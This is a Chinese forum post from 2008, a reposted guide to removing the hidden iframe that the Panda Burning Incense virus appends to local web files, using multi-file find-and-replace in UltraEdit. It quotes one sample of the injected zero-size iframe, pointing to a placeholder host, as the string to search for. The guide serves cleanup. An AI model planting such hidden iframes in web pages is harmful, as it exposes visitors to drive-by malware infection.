查看: 8218|回复: 0
打印 上一主题 下一主题

[病毒防治] [转载]清除熊猫烧香病毒感染网页文件(htm/asp/php/aspx)的办法

[复制链接]

2569

主题

3687

帖子

10万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
101592
跳转到指定楼层
楼主
发表于 2008-4-5 02:46:43 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

熊猫烧香病毒有很多专杀工具,但是没有一个能够解决对网页文件感染的,熊猫烧香病毒将本地计算机所有的html、htm、asp、php、jsp、aspx文件都添加了iframe的嵌入代码,一旦用浏览器打开这些文件,就会打开带有病毒的网页,如果没有打补丁依旧会中毒,造成反复。

怎么样清除这些代码是让很多朋友头疼的问题,因为这样的文件实在是太多了!

下面我有一个办法能很好的解决这个问题,工具有可以是Dreamweaver或者是UltraEdit,说到这里大家估计能够想到怎么样处理了!对,就是使用这两个软件的多文件替换功能!

我就用UltraEdit来说明,Dreamweaver的方法基本类似。

打开UltraEdit,选择“搜索-〉在多文件中替换”,在Find中输入查到的那段代码,注意每个版本的病毒插入的代码是不一样的,不过都是在文件的最末位插入如:
< iframe src=http://xxx/qq.htm width="0" height="0" >< /iframe >
这样的代码!

在In Files/Types中*.*,点击“”按钮,然后就是等待。

一段时间以后,你就会发现所有别熊猫烧香修改过的网页文件全部修改回来了。

另外可以用金山的熊猫烧香专杀软件,可以部分解决这个问题,对于一些版本的熊猫烧香(或者叫做武汉男生)可以清除,但是一些变种的似乎还是无能为力。手动替换还是使用上面提供的方法。
金山专杀工具 http://down.www.kingsoft.com/db/download/othertools/DuBaTool_WhBoy.BAT

出自:西部E网

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则


快速回复 返回顶部 返回列表